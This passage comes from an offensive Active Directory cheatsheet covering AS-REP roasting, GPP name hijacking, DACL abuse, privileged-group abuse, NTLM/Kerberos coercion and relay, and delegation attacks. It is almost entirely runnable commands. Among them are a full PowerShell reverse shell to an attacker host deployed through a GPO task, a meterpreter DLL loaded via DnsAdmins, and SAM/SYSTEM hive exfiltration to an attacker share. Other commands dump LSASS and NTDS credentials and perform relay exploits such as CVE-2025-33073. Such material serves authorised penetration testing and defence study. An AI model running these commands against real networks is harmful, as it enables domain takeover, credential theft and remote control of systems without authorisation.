GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password
```

#### Request AS-REP

```bash
GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password
```

It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet.

#### Crack the hash

With **john** or **hashcat** it could be performed

### Hijacking GPP Name-Only

#### sAMAccountName hijacking

The theory behind this attack is explained in [this article.](https://www.cogiceo.com/en/whitepaper_gpphijacking/)

1. Initial configuration:&#x20;
   1. A user `priv_usr` has `GenericWrite` rights over another user `low_priv`.
   2. A GPP is configured to add a "Name-Only" member named `nonexistentuser` to the local `Administrators` group.
2. First GPO application:
   1. The system try to resolve `nonexistentuser`, but fails (the user doesn't exist).
   2. No member is added to `Administrators`.
3. `sAMAccountName` modification:
   1. The attacker uses their `GenericWrite` rights to change the `sAMAccountName` from `low_priv` to `nonexistentuser`.

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser"
```

4. GPO replication:
   1. The next time the GPO is applied (or via a manual command such as `gpupdate /force`), the system resolves `nonexistentuser` to the SID of `low_priv.`
   2. Result: `low_priv` is added to the `Administrators` group.

#### UPN hijacking

1. Initial configuration:&#x20;
   1. A GPP is configured to add a "Name-Only" member in UPN format: `existingusr@domain.local`.
   2. A user named `existingusr` already exists in the domain with this UPN.
2. `sAMAccountName` modification:
   1. The attacker changes the `sAMAccountName` of `low_priv` to match the UPN exactly: `existingusr@domain.local`(this format is permitted for a UPN).

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local"
```

3. GPO replication:
   1. During resolution, **`LsaLookupNames` first searches for an exact match in the `sAMAccountName` field, before the UPN**.
   2. Result: `low_priv` is added to the `Administrators` group instead of `existingusr`.

#### GPP processus variables

1. A GPP is linked to an OU containing the WS computer and adds `%DomainName%\%ComputerName%_adm` (i.e. `DOMAIN\WS_adm`) to the `Administrators` group.
2. The attacker checks that `WS_adm` does not exist:

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password get object "WS_adm"
```

3. The attacker changes the `sAMAccountName` of `low_priv` to match `WS_adm`:

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm"
```

4. Result: The next time GPP is applied, `low_priv` is added to the `Administrators` group on the WS machine.

### DACLs attacks

#### DACLs packages

* **Owns object**
  * WriteDacl
* **GenericAll**
  * GenericWrite
  * AllExtendedRights
  * WriteOwner
* **GenericWrite**
  * Self
  * WriteProperty
* **AllExtendedRights**
  * User-Force-Change-Password
  * DS-Replication-Get-Changes
  * DS-Replication-Get-Changes-All
  * DS-Replication-Get-Changes-In-Filtered-Set

#### On any objects

##### WriteOwner
With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it

```bash
owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
```

##### WriteDacl
With this rights we can modify our ACLs against the target, and give us **GenericAll** for example

```bash
dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'
```

In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`)

```bash
dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'
```

#### On an user

##### WriteProperty
* ShadowCredentials

```bash
pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
```

* Targeted Kerberoasting

We can then request a ST without special privileges. The ST can then be "**Kerberoasted**".

```bash
GetUserSPNs.py -request-user user2 -dc-ip <DC_IP> domain.local/user1:password
```

**New SPN must be unique in the domain**

```bash
#Set SPN on all the possible users, request the ticket and delete the SPN
targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse
```

##### User-Force-Change-Password
With enough permissions on a user, we can change his password

```bash
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
```

#### On a computer

##### WriteProperty
* ShadowCredentials

```bash
pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
```

* Kerberos RBCD

##### AllExtendedRights
* ReadLAPSPassword

```bash
nxc ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"
```

* ReadGMSAPassword

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa
```

#### On a RODC

##### GenericWrite
* Obtain local admin access

Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights.

* Retrieve Tiers 0 account's NT hashes

It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

```bash
powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
```

##### WriteProperty
**WriteProperty** on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket.

```bash
powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
```

#### On a group

##### WriteProperty/AllExtendedRights/GenericWrite Self
With one of this rights we can add a new member to the group

```bash
net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>
```

#### On a GPO

##### WriteProperty on a GPO
* We can update a GPO with a scheduled task for example to obtain a reverse shell

```bash
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user
```

* Create a local admin

```bash
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"
```

##### Manage Group Policy Links

Whith this right or `GenericWrite` on a GPO we can manipulate its `gPLink` attribute in order to apply an evil GPO to all the children of a descendant OU, even the ones with `adminCount=1`.

All the explains about this attack are presented [here](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory). The attack will defer if the final target is a user or a machine account.

###### Machine

* Create a new Windows Server virtual machine connected to the network and install the domain controler features on it. Register it under a subdomain of the current domain (`evil.domain.local`)
* Create an empty GPO on this DC
* Reset the machine account password (to remove the unprintable characters)

```powershell
Reset-ComputerMachinePassword
```

* Stop the antivirus and dump the LSASS to retrieve the password

```bash
lsassy -d 'evil.domain.local' -u administrator -p password <evil_DC_IP>
```

* Create a new computer account on the target domain with a `LDAP` SPN and the same password as the created DC

```bash
python3 addcomputer_LDAP_spn.py -computer-name EVIL -computer-pass <DC_PASS> 'domain.local'/user1:password
```

* Create a new DNS record on the target domain to point the evil subdomain to the attacker machine

```bash
python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil' -a add -d <attacker_IP> <DC_IP>
```

* Configure the OUned.py tool with the following [example](https://github.com/synacktiv/OUned?tab=readme-ov-file#configuration-file). The `[SMB]` section must be setup to `embedded` and just a share name
* Run OUned.py

```bash
sudo python3 OUned.py --config config.ini
```

###### User

* Similarly, create an evil domain controler and a computer account with a `LDAP` SPN
* Create a second evil DC with the same domain as the target domain (`domain.local`). As the first evil DC, reset and retrieve its password
* Create a new SMB share on the second evil DC

```powershell
New-SmbShare -Name "evil" -Path "C:\Evil"
Grant-SmbShareAccess -Name "evil" -AccountName "DOMAIN.LOCAL\administrator" -AccessRight Full
```

* Create a new computer account on the target domain with the `HOST` SPN and add a DNS record resolving this machine to the attacker IP

```bash
python3 addcomputer.py -method LDAPS -computer-name EVIL2 -computer-pass <DC2_PASS> 'domain.local'/user1:password
python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil2' -a add -d <attacker_IP> <DC_IP>
```

* Configure the OUned.py tool with the following [example](https://github.com/synacktiv/OUned?tab=readme-ov-file#configuration-file). The `[SMB]` section must be setup to `forwarded` with the other information setup
* Run OUned.py

```bash
sudo python3 OUned.py --config config.ini
```

#### On an OU

##### GenericWrite

With at least **GenericWrite** on an OU, it it possible to perform the same attacks presented in the GPO section with **Manage Group Policy Links**.

##### Create msDS-DelegatedManagedServiceAccount or Create all child objects

This is the BadSuccessor attack, presented in great details [here](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory). At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts).

```bash
# Find users with sufficient privileges on OUs with NetExec
nxc ldap <DC_IP> -u user1 -p password -M badsuccessor

# Enumerate and exploit with BadSuccessor.py
	# Enumerate schema
python3 badsuccessor.py -u user1 -p password -d domain.local --check-schema
	# Find ALL writable OUs with detailed permissions
python3 badsuccessor.py -u user1 -p password -d domain.local --enumerate
	# Attack with Administrator privs inheritance
python3 badsuccessor.py -u user1 -p password -d domain.local --attack --target Administrator --ou-dn <OU_DN> --dmsa-description "Pentest"
	# Extract credentials from the tickets' key package
python3 badsuccessor.py -u user1 -p password -d domain.local  --extract-creds --targets Administrator,krbtgt,svc_sql
```

#### On the domain/forest

##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can **DCSync**

##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a **DirSync** attack, as presented [here](https://simondotsh.com/infosec/2022/07/11/dirsync.html). This attack is presented in the Active Directory cheatsheet.

### Account Operators

The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC.

Another possibility, is to configure an AORTA attack, presented in [this section](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-account-operators-re).

#### Add user to LAPS groups

```bash
net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>
```

#### Read LAPS password

```bash
nxc ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"
```

### DnsAdmins

* It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
* In case the DC also serves as DNS, this will provide us escalation to DA.
* Need privileges to restart the DNS service.

```bash
#Generate the DLL
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll > rev.dll

#On the DNS machine, modify the server conf
nxc smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\<share_SMB>\rev.dll"

#### Restart DNS
services.py 'domain.local'/'user1':'password'@<DNS_server> stop dns
services.py 'domain.local'/'user1':'password'@<DNS_server> start dns
```

### Schema Admins

These group members can change the "_schema_" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

This attack is presented in the Active Directory cheatsheet.

### Backup Operators

Can _generally_ log in on any machines of the domain.

#### File system backup

Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

```bash
nxc smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E"
```

To backup with **Diskshadow + Robocopy**:

* Create a `script.txt` file to backup with Diskshadow and upload it on the target

```
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

* Backup with `diskshadow /s script.txt` in the `netexec` command parameter
* Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit` (still with NXC)
* Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system` (always)

Or, to do everything automatically:

```bash
nxc smb <DC_IP> -u user1 -p password -M backup_operator
```

#### Registry read rights

The **Backup Operators** can read all the machines registry

```bash
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\<attacker_IP>\share
```

#### GPOs read/write rights

Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode

* Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy
* Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it
* Write the file with **robocopy**:

```bash
nxc smb <target> -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB'
```

### Key Admins

Members of this group can perform [Shadow Credentials](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-on-a-computer) attacks against any objects, including the domain controllers.

### AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

This attacke is presented in the Active Directory cheatsheet.

## Authentication capture, coerce and relay

### Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

#### Responder

Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used.

```bash
sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf
```

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

```bash
# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv
```

With enough privileges on a machine, NTLMv1 can be detected like this:

```bash
nxc smb <target> -u user1 -p password -M ntlmv1
```

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

```bash
# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess
```

**NTLMv1** response can be cracked on [crash.sh](https://crack.sh/) (we miss you guy).

#### Leak Files

With write rights on a SMB share, it is possible to drop a `.lnk` or `.scf` file to grab some user hashes:

```bash
nxc smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
nxc smb <target> -u user1 -p password -M scuffy -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
#To clean
nxc smb <target> -u user1 -p password -M slinky -o CLEANUP=True
nxc smb <target> -u user1 -p password -M scuffy -o CLEANUP=True
```

#### MITM6

Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

```bash
mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v
```

Here for a Kerberos relay to ADCS:

```bash
mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v
```

#### PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed.

```bash
#PetitPotam
./petitpotam.py -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

#PrinterBug
./dementor.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#ShadowCoerce
./shadowcoerce.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#DFSCoerce
./dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./cheese.py domain.local/user1:password@<target> <listener_IP>
```

#### Multi coerce

Try all the techniques above in one command with [this](https://github.com/p0dalirius/Coercer).

```bash
coercer.py coerce -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP> -v
```

#### PrivExchange

Coerce Exchange server authentication via **PushSubscription** (now patched):

```bash
python3 privexchange.py -ah <attacker_IP> <Exchange_server> -u user1 -p password -d domain.local
```

#### MSSQL Server

With [xp\_dirtree](active-directory-python.md#rbcd-from-mssql-server).

#### WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

```bash
webclientservicescanner domain.local/user1:password@<IP_range>
```

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid **NETBIOS name** and not its IP. The **NETBIOS name** can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS.

```bash
#Responder technique
responder -I interface_to_use -A

#ADIDNS technique
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "attacker.domain.local" -d <attacker_IP> <DNS_IP>

#Coerce with PetitPotam for example
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" <target_IP>
```

Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning [by changing the error code returned](https://www.synacktiv.com/publications/taking-the-relaying-capabilities-of-multicast-poisoning-to-the-next-level-tricking).

```bash
#With Responder + smbserver 
  #Start smbserver in a first terminal with authentication required
python3 smbserver.py $NAME . -smb2support -username notexist -password notexist
  #Start Responder in a second terminal
responder --interface "eth0"

#Or only with Responder
responder --interface "eth0" -E
```

### NTLM and Kerberos relay

#### SMB without signing

Create a list of computer without SMB signing:

```bash
nxc smb <IP_range> --gen-relay-list list.txt
```

#### ntlmrelayx

If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used. **Also useful with NTLMv1**.

Multiple targets can be specified with `-tf list.txt`.

* Enumeration

```bash
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
```

* SOCKS

```bash
ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t ldaps://target -socks
```

* Creds dump

```bash
ntlmrelayx.py -t smb://target
```

* DCSync if the target in vulnerable to Zerologon

```bash
ntlmrelayx.py -t dcsync://dc
```

* Privesc

Add an user to **Enterprise Admins**.

```bash
ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump
```

* Create a computer account

```bash
#Create a new computer account through LDAPS
ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS
ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290)
ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC
```

* Kerberos Delegation

Kerberos RBCD are detailled in the following section.

```bash
#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl
```

* Shadow Credentials

```bash
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
```

* From a mitm6 authent

```bash
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks
```

* Targeting GPO

Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this [article](https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more) to better understand.

First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one)

```bash
ntlmrelayx -t ldaps://<DC_IP> -wh '<attacker_IP>:8080' --http-port '80,8080' -i

#When relay is successful, use nc to obtain a LDAP shell
nc 127.0.0.1 11000
add_computer ATTACKER Password123
write_gpo_dacl ATTACKER$ {<GPO_ID>}
```

Then, modify the GPO with the controlled account

```bash
python3 gpoddity.py --gpo-id '<GPO_ID>' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '<command_to_execute>' --rogue-smbserver-ip '<attacker_IP>' --rogue-smbserver-share 'evil'
```

* Relay to WinRMs

If **NTLMv1 is enabled** on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this [PR](https://github.com/fortra/impacket/pull/1947).

```bash
#Perform the relay
ntlmrelayx -t winrms://target.domain.local -smb2support

#Use the opened WinRMs shell
nc 127.0.0.1 11000
```

* [CVE-2025-33073](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-ad-oriented)
* [ADCS ESC8 & 11](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-relay-attacks---esc8)
* [SCCM primary site takeover](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-sccm-%2F-mecm)

#### krbrelayx

* To relay authentication from a mitm6 DNS spoofing to ADCS:

```bash
krbrelayx.py --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim target$ --adcs --template Machine
```

* Kerberos relay over SMB

All explains [here](https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx).

First, register the specific DNS record:

```bash
dnstool.py -u "domain\\user1" -p "password" -r "$ADCS_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "attacker_IP" --action add "DC_IP" --tcp
```

Then, coerce the target to the registered record, with PetitPotam for example, and relay:

```bash
Petitpotam.py -d domain.local -u user1 -p password "<ADCS_netbios>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" dc.domain.local

krbrelayx.py -t 'http://<ADCS_netbios>.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'dc$'
```

* Kerberos relay to unsigned SMB

If the relayed authentication is privileged, this will dump the SAM and LSA:

```bash
krbrelayx.py -t smb://target.domain.local
```

* Kerberos relay from multicast poisoning

When a web server requests Kerberos authentication, it does not use the destination URL to determine the SPN for which an ST is to be retrieved, but rather the response name of the DNS response. Nominally, these two elements should coincide. The client accesses a login URL, performs the DNS query for the server's FQDN, then performs the ST request from the DNS response, and constructs the `AP-REQ`. Explains [here](https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with).

```bash
#Responder with -N to spoof the answer name returned by LLMNR responses
#<target_netbios> is the server that will receive the relay, for example the PKI
responder -I eth0 -N <target_netbios>

#Krbrelayx to actually perform the Kerberos relay, for example to the PKI
krbrelayx.py --target 'http://CA/certsrv/' -ip <attacker_IP> --adcs --template User
```

* [CVE-2025-33073](https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) - Kerberos Reflective relay

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced.

```bash
dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
	# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
```

Modify `krbrelayx.py` to only provide Kerberos, and not NTLM, to ensure that NTLM will not be negociate.

```python
File: krbrelayx/lib/servers/smbrelayserver.py
156:         blob['tokenOid'] = '1.3.6.1.5.5.2'
157:         blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158:                                                        MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159:                                                        MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
```

```bash
PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```

#### krbjack

A [tool](https://github.com/almandin/krbjack) to perform DNS updates thanks to the `ZONE_UPDATE_UNSECURE` flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the `AP_REQ` packets on the fly to reuse them.

The port list is really **important** and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services.

* MiTM and exec an executable on the target (SMB signing must be not required)

```bash
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> --ports <port1,port2,port3,...> --executable <executable.exe>
```

* Just perform DNS poisoning **without** port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk

```bash
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP>
ntlmrelayx.py -t <target_IP> -smb2support
```

## Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

* **Unconstrained Delegation**: the first hop server can request access to any service on any computer
* **Constrained Delegation**: the first hop server has a list of service it can request

### Unconstrained delegation

* A user request a TGT to the DC
* The user requests a ST for a service on a computer which is in Unconstrained Delegation
* The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in **LSASS**. This way the server can reuse the user's TGT to access any other resource as the user
* This behavior can be abused by extracting the TGT from the previous users stored in LSASS

#### Enumerate principals with Unconstrained Delegation

Works for computers and users

```bash
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password
```

#### Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion.

* Add a new DNS record on the domain that point to our IP
* Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST)
* Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it

Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

```bash
#Add the SPN
python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional <DC_IP>

#Create the DNS record
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" <target_IP>
```

### Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

* Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION** – T2A4D UserAccountControl attribute.
* Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a ST to a second service on behalf of a user.

#### Enumerate users and computers with CD enabled

```bash
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password
```

#### With protocol transition

Any service can be specified on the target since it is not correctly checked.

```bash
